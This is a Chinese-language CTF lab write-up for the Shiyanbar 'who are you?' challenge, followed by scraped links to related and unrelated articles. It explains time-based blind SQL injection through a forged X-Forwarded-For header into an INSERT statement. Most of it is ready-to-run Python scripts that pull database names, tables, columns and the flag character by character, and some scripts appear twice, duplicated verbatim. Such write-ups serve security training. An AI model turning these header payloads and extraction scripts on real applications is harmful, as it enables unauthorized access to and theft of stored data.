地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php

这道题点开看见your ip is :xxx.xxx.xx.xxx

试了一些 最后发现是XFF注入

不过首先要进行ip伪造

X-Forwarded-For
Client-IP
x-remote-IP
x-originating-IP
x-remote-add

发现X-Forwarded-For可以伪造。

题目说:

我要把攻击我的人都记录db中去!

猜测这是一个INSERT INTO的注入。

源码中sql语句可能是:

$sql="insert into client_ip (ip) values ('$ip')";

所以这不能利用真值注入,报错注入等,只能尝试基于时间的注入。

第一种方法  python盲注脚本走起

提一下,这里需要用到select case when then语句

提交X-Forwarded-For:

'  and case when (length((SELECT concat(database())))<10) then sleep(3) else sleep(0) end and '1'='1;

ok  python脚本跑即可

基于时间盲注   数据库名长度判断

import requests

length = 0;
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
for i in range(1,20):
    headers = {"X-Forwarded-For":"1'  and case when (length((SELECT concat(database())))=%d) then sleep(5) else sleep(0) end and '1'='1" %(i)}
    try:
        r = requests.get(url, headers = headers, timeout=5)
        print(r.text)
    except:
        length = i
        break

print("length is :%d"%length)

数据库名判断

import requests

guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
database = ''
for i in range(1,5):
    for each in guess:
        headers = {"X-Forwarded-For":"1'  and case when (substring((select database()) from %d for 1)='%s') then sleep(5) else sleep(0) end and '1'='1" %(i,each)}
        try:
            r = requests.get(url, headers = headers, timeout=5)
        except:
            database += each
            print("database的第%d位是%s"%(i,each))
            break

print("database is %s"%database)

当前也可以把全部数据库跑出来

import requests

guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
databases = []
database = ''
for i in range(1,20):#控制数据库个数
	for j in range(1,10):#控制当前数据库位数
		for each in guess:
			headers = {"X-Forwarded-For":"1'  and case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)='%s') then sleep(5) else sleep(0) end and '1'='1" %(i,j,each)}
			try:
				r = requests.get(url, headers = headers, timeout=5)
			except:
				database += each
				break

	if database != '':
		print("第%d个数据库是%s"%(i,database))
		databases.append(database)
	database = ''

print("databases is %s"%databases)

得到数据库名为web4 接下来进行表名注入

import requests

##guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
length = 0
for i in range(1,20):
    headers = {"X-Forwarded-For":"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" % (i)
    }
    try:
        r = requests.get(url, headers = headers, timeout=5)
        print(r.text)
    except:
        length = i-1
        break
print("length is %s"%length)

表长度是14  爆表名

import requests

guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
tables = ''
for i in range(1,15):
    for each in guess:
        headers = {"X-Forwarded-For":"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='%s') then sleep(6) else 0 end and 'a'='a" % (i,each)
        }
        try:
            r = requests.get(url, headers = headers, timeout=5)

        except:
            tables += each
            print("table is %s"%tables)
            break

print("OK")import requests

guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
tables = ''
for i in range(1,15):
    for each in guess:
        headers = {"X-Forwarded-For":"1' and case when(substring((select group_concat(table_name separator ';') from information_schema.tables where table_schema='web4') from %s for 1)='%s') then sleep(6) else 0 end and 'a'='a" % (i,each)
        }
        try:
            r = requests.get(url, headers = headers, timeout=5)

        except:
            tables += each
            print("table is %s"%tables)
            break

print("OK")

发现存在flag表 接着就是爆字段长度=====》字段名=====》字段值

字段长度:

import requests

url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
length = 0
for i in range(1,15):
    headers = {"X-Forwarded-For":"1' and case when(substring((select group_concat(column_name separator ';') from information_schema.columns where table_schema='web4' and table_name='flag') from %s for 1)='') then sleep(6) else 0 end and 'a'='a" % (i)
    }
    try:
        r = requests.get(url, headers = headers, timeout=5)

    except:
        length += i
        break
print("length is %d"%length)
print("OK")

字段长度为5  爆字段名

import requests

guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
colunm = ''
for i in range(1,6):
    for each in guess:
        headers = {"X-Forwarded-For":"1' and case when(substring((select group_concat(column_name separator ';') from information_schema.columns where table_schema='web4' and table_name='flag') from %s for 1)='%s') then sleep(6) else 0 end and 'a'='a" % (i,each)
        }
        try:
            r = requests.get(url, headers = headers, timeout=5)

        except:
            colunm += each
            print("colunm is %s"%colunm)
            break

print("OK")

得出字段名为flag 最后爆字符值~

爆字段值(flag值)

import requests

guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
flag = ''
for i in range(1,50):
    for each in guess:
        headers = {"X-Forwarded-For":"1' and case when(substring((select flag from web4.flag) from %s for 1)='%s') then sleep(6) else 0 end and 'a'='a" % (i,each)
        }
        try:
            r = requests.get(url, headers = headers, timeout=5)

        except:
            flag += each
            print("flag is %s"%flag)
            break

print("OK")import requests

guess='abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'
url = 'http://ctf5.shiyanbar.com/web/wonderkun/index.php'
flag = ''
for i in range(1,50):
    for each in guess:
        headers = {"X-Forwarded-For":"1' and case when(substring((select flag from web4.flag) from %s for 1)='%s') then sleep(6) else 0 end and 'a'='a" % (i,each)
        }
        try:
            r = requests.get(url, headers = headers, timeout=5)

        except:
            flag += each
            print("flag is %s"%flag)
            break

print("OK")

实验吧之【who are you?】(时间盲注)的更多相关文章

  1. 实验吧——who are you?(insert into注入 二分法 时间盲注)

    题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 根据提示  “我要把攻击我的人都记录db中去!”  猜测这是insert into注入,会 ...

  2. 依托http-headers的 sql注入和时间盲注

    机缘巧合接触了一点关于sql注入的网络安全问题 依托 headers 的 sql 注入 一般来说大家都很清楚用户输入的危险性,通常会对用户表单提交的数据进行过滤(引号转码). 但是如果写过网络爬虫,那 ...

  3. zzcms8.2#任意用户密码重置#del.php时间盲注#复现

    00x0 引言 早上起来,发现seebug更新了一批新的洞, 发现zzcms8.2这个洞好多人在挖,于是我就默默的踏上了复现之路(要不是点进去要买详情,我何必这么折腾~) 环境:zzcms8.2(产品 ...

  4. SQL注入之Sqli-labs系列第十五关和第十六关(基于POST的时间盲注)

    开始挑战第十五关(Blind- Boolian Based- String)和 第十六关(Blind- Time Based- Double quotes- String) 访问地址,输入报错语句 ' ...

  5. SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)

    开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...

  6. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  7. MySQL时间盲注五种延时方法 (PWNHUB 非预期解)

    转自cdxy师傅:https://www.cdxy.me/?p=789 PWNHUB 一道盲注题过滤了常规的sleep和benchmark函数,引发对时间盲注中延时方法的思考. 延时函数 SLEEP ...

  8. 大哥带的Orchel数据库时间盲注

    0X01Oracle基于延时的盲注总结 0x00 前言 oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注: oracle的时间盲注通常 ...

  9. GYCTF 盲注【regexp注入+时间盲注】

    考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...

随机推荐

  1. Qt 模拟一个导航定位系统

    版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明. 本文链接:https://www.cnblogs.com/lihuidashen/p/115397 ...

  2. centos 7 ifconfig无法找到命令的方法

    场景:新安装centos   没有安装. centos7.2的mini版没有安装这个东东,所以我们就直接安装就好了,在终端里面输入: yum -y install net-tools

  3. (六十八)c#Winform自定义控件-DEMO整理

    前提 入行已经7,8年了,一直想做一套漂亮点的自定义控件,于是就有了本系列文章. GitHub:https://github.com/kwwwvagaa/NetWinformControl 码云:ht ...

  4. 在64位Linux上安装32位gmp大数库

    前期准备: 如果没有安装32位gcc和g++环境的话,可能会导致安装失败,此时请参考上一篇博文 http://www.cnblogs.com/weir007/p/5977759.html,根据系统版本 ...

  5. Linux 笔记 - 第十四章 LAMP 之(一) 环境搭建

    博客地址:http://www.moonxy.com 一.前言 LAMP 是 Linux Apache MySQL PHP 的简写,即把 Apache.MySQL 以及 PHP 安装在 Linux 系 ...

  6. Decorator:从原理到实践

    前言 原文链接:Nealyang/personalBlog ES6 已经不必在过多介绍,在 ES6 之前,装饰器可能并没有那么重要,因为你只需要加一层 wrapper 就好了,但是现在,由于语法糖 c ...

  7. MyBatis返给前端正确的时间格式

    前台获取位时间戳,后端解决办法之一 问题描述:前端获取后台接口返回的数据,时间是long类型的时间戳而不是时间类型2019-09-25 17:07:32 项目: JAVA web 工具:eclipse ...

  8. 小程序开发初体验,从静态demo到接入Bmob数据库完全实现

    之前我胖汾公司年会.问我能不能帮忙搞个小程序方便他们进行游戏后的惩罚/抽奖使用.出了个简单的设计图.大概三天左右做了个简单的小程序.目前提交审核了.对于写过一小段时间vue来说小程序很容易上手.写法和 ...

  9. Xampp error:Port 80 in use by "Unable to open process" with PID 4

    今天打开Apache的时候报错: Port 80 in use by "Unable to open process" with PID 4 通过点击与“Apache”模块同一行上 ...

  10. 品Spring:实现bean定义时采用的“先进生产力”

    前景回顾 当我们把写好的业务代码交给Spring之后,Spring都会做些什么呢? 仔细想象一下,再稍微抽象一下,Spring所做的几乎全部都是: “bean的实例化,bean的依赖装配,bean的初 ...